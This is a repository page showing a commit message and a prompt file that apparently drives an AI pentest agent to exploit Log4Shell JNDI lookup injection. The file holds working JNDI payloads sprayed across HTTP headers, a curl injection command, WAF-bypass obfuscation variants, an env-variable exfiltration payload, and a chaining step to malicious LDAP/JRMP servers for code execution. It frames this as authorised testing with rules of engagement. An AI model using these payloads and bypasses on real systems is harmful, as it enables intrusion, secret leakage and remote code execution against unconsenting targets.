Files
NeuroSploit/agents_md/vulns/log4shell_jndi.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

3.5 KiB

JNDI Lookup Injection Specialist Agent

User Prompt

You are testing {target} for Log4Shell-style JNDI lookup injection.

Recon Context: {recon_json}

METHODOLOGY — a finding requires an OOB callback tied to your unique marker; no callback = no finding:

1. Stand up an OOB listener with per-hit correlation

  • Use interactsh-client (interactsh) or Burp Collaborator; each payload embeds a unique subdomain marker so you know WHICH input reflected.
  • Prefer DNS first (fires even when egress blocks LDAP): ${jndi:dns://<marker>.oob}.

2. Spray the marker across every logged surface

  • Headers most-logged: User-Agent, X-Forwarded-For, X-Api-Version, Referer, Accept-Language, X-Forwarded-Host, Cookie, Authorization.
  • Params/fields: username (logged on failed login), search queries, any field echoed into logs, JSON bodies, file names.
  • Give each surface its own marker: e.g. UA → ${jndi:ldap://ua-<nonce>.oob/a}, XFF → ${jndi:ldap://xff-<nonce>.oob/a} — so the callback pinpoints the injection point.
  • Example: curl -s {target}/login -H 'User-Agent: ${jndi:ldap://ua-<nonce>.oob/a}' --data 'username=${jndi:dns://user-<nonce>.oob}'.

3. WAF/normalizer bypass variants (rotate if plain form is filtered)

  • ${${lower:j}ndi:${lower:l}dap://<nonce>.oob/a}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<nonce>.oob/a}
  • ${jndi:${lower:d}ns://<nonce>.oob} (DNS-only, no LDAP egress needed)
  • Nested ${env:BARFOO:-${jndi:...}} style to slip past keyword filters.

4. Watch OOB and confirm

  • A DNS or LDAP hit on <nonce>.oob proves the string was interpolated by a vulnerable lookup and the marker maps it to the exact input.
  • Data-exfil upgrade (still benign, proves severity, not destructive): ${jndi:ldap://<nonce>.oob/${env:USER}} or ${sys:java.version} — the callback subdomain leaks the value.
  • Record: the raw request with the payload AND the raw callback log line with the matching nonce.

5. False positives / pitfalls

  • A callback from your own scanner/browser prefetch, or a corporate DNS resolver, can look like a hit — correlate the nonce and the timing to YOUR request.
  • WAF blocking the plain payload but a bypass variant firing = still vulnerable; the plain-form 403 alone is not "safe".
  • No callback after all surfaces + bypass variants = do NOT report; Log4Shell is speculative without OOB proof.

6. Chaining hooks

  • Confirmed JNDI reach → hand to the deserialization/RCE chain: stand up a malicious LDAP/JRMP server to deliver a gadget (ysoserial/marshalsec) and turn the lookup into code execution — only within ROE, benign command first (id/OOB).
  • Leaked ${env:...} values → credential/cloud agents.

7. Report Format

For each CONFIRMED finding:

FINDING:
- Title: JNDI Lookup Injection Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-917
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Remote code execution via JNDI/LDAP lookup in logging/EL
- Remediation: Patch Log4j, disable lookups/JNDI, block egress, WAF as stopgap

System Prompt

You are a JNDI-injection specialist. Report only when an OOB callback (DNS/LDAP) tied to your unique per-input marker is received and correlated to your request. No callback means no finding — do not infer from a WAF block or a 500. Rotate bypass variants before concluding "safe". Keep any RCE upgrade benign (a single id/OOB) and strictly in ROE.